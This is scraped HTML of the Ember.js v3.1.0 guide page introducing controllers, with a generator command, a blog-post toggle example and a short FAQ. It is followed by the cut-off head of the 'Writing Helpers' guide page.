class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327098" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/testing" id="ember327099" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember327100" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327102" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/ember-inspector" id="ember327103" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember327104" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327106" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/addons-and-dependencies" id="ember327107" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember327108" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327110" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/configuring-ember" id="ember327111" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember327112" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327114" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/contributing" id="ember327115" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember327116" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327118" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/glossary" id="ember327119" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember327120" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember327121" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.1.0. <a href="/release/controllers" id="ember327122" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.1.0/controllers/index.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Introduction </h1> <hr> <div id="ember327123" class="ember-view"><h3 id="toc_what-is-a-controller">What is a Controller?</h3> <section aria-labelledby="toc_what-is-a-controller"> <p>A <a href="https://api.emberjs.com/ember/3.1/classes/Controller">Controller</a> is routable object which receives a single property from the Route – <code>model</code> – which is the return value of the Route's <a href="https://api.emberjs.com/ember/3.1/classes/Route/methods?anchor=model"><code>model()</code></a> method.</p> <p>The model is passed from the Route to the Controller by default using the <a href="https://api.emberjs.com/ember/3.1/classes/Route/methods/setupController?anchor=setupController"><code>setupController()</code></a> function. The Controller is then often used to decorate the model with display properties such as retrieving the full name from a name model.</p> <p>A Controller is usually paired with an individual Route of the same name.</p> </section> <h3 id="toc_defining-a-controller">Defining a Controller</h3> <section aria-labelledby="toc_defining-a-controller"> <p>We only need to generate a Controller file if we want to customize the properties or provide any actions to the Route. If we have no customizations, Ember will provide a default Controller instance for us at run time.</p> <p>To generate a controller, run</p> <pre><code class="bash language-bash">ember generate controller my-controller-name </code></pre> <p>This creates a controller file at <code>app/controllers/my-controller-name.js</code>, and a unit test file at <code>tests/unit/controllers/my-controller-name-test.js</code>.</p> <p>The controller name <code>my-controller-name</code> must match the name of the Route that renders it. So if the Route is named <code>blog-post</code>, it should have a matching Controller named <code>blog-post</code>. The matching file names of the Controller and the Route signals to Ember that this Controller must be used when landing on the <code>blog-post</code> Route.</p> </section> <h3 id="toc_where-and-when-to-use-controllers">Where and When to use Controllers?</h3> <section aria-labelledby="toc_where-and-when-to-use-controllers"> <p>Controllers are used as an extension of the model loaded from the Route. Any attributes or actions that we want to share with components used on that Route could be defined on the Controller and passed down through the Route’s template.</p> <p>Controllers are singletons so we should avoid keeping state that does not derive from either the Model or Query Parameters since these would persist in between activations such as when a user leaves the Route and then re-enters it.</p> <p>Controllers can also contain actions that enable the Route's components to update the Model or Query Parameters through it using Computed Properties.</p> </section> <h3 id="toc_basic-controller-example">Basic Controller Example</h3> <section aria-labelledby="toc_basic-controller-example"> <p>Let's explore these concepts using an example of a route displaying a blog post. Assume that the route returns a <code>BlogPost</code> model that is presented in the template.</p> <p>The <code>BlogPost</code> model would have properties like:</p> <ul> <li><code>title</code></li> <li><code>intro</code></li> <li><code>body</code></li> <li><code>author</code></li> </ul> <p>In the example below, we can see how the template is using the model properties to display some data.</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/blog-post.hbs>&lt;h1&gt;{{model.title}}&lt;/h1&gt; &lt;h2&gt;by {{model.author}}&lt;/h2&gt; &lt;div class="intro"&gt; {{model.intro}} &lt;/div&gt; &lt;hr&gt; &lt;div class="body"&gt; {{model.body}} &lt;/div&gt; </code></pre> <p>Consider the example where we want to have a controller for a <code>blog-post</code> route. In this controller, we are looking to keep track if the user has expanded the body or not.</p> <pre><code class="javascript language-javascript"data-filename=app/controllers/blog-post.js>import Controller from '@ember/controller'; export default Controller.extend({ isExpanded: false, actions: { toggleBody() { this.toggleProperty('isExpanded'); } } }); </code></pre> <p>The property <code>isExpanded</code> keeps track if the user has expanded the body or not. The action <code>toggleBody()</code> provides a way for the user to provide their setting. Both of the them are used in the updated template below.</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/blog-post.hbs>&lt;h1&gt;{{model.title}}&lt;/h1&gt; &lt;h2&gt;by {{model.author}}&lt;/h2&gt; &lt;div class='intro'&gt; {{model.intro}} &lt;/div&gt; &lt;hr&gt; {{#if isExpanded}} &lt;button {{action "toggleBody"}}&gt;Hide Body&lt;/button&gt; &lt;div class="body"&gt; {{model.body}} &lt;/div&gt; {{else}} &lt;button {{action "toggleBody"}}&gt;Show Body&lt;/button&gt; {{/if}} </code></pre> <p>We can see that if the property <code>isExpanded</code> is toggled to true, we will show the body property of the model to the user. This <code>isExpanded</code> is stored in the controller.</p> </section> <h3 id="toc_common-questions">Common questions</h3> <section aria-labelledby="toc_common-questions"> </section> <h6 id="toc_should-we-use-controllers-in-my-application-ive-heard-theyre-going-away">Should we use controllers in my application? I've heard they're going away!</h6> <section aria-labelledby="toc_should-we-use-controllers-in-my-application-ive-heard-theyre-going-away"> <p>Yes! Controllers are still an integral part of an Ember application architecture, and generated by the framework even if you don't declare a Controller module explicitly.</p> </section> <h6 id="toc_when-should-we-create-a-controller">When should we create a Controller?</h6> <section aria-labelledby="toc_when-should-we-create-a-controller"> <ul> <li>We want to pass down actions or variables to share with a Route’s child components</li> <li>We have a computed property that depends on the results of the model hook</li> <li>We need to support query parameters</li> </ul> </section> </div> <footer id="ember327124" class="ember-view"> <a href="/v3.1.0/components/triggering-changes-with-actions" id="ember327125" class="previous-guide ember-view">Triggering Changes with Actions</a> <a href="/v3.1.0/models/index" id="ember327126" class="next-guide ember-view"> We've finished covering Controllers. Next up: Models - Introduction </a></footer> </article> </main> <footer id="ember327127" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember327128" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember327129" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember327130" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Writing Helpers - Templates - Ember Guides</title> <meta name="description" 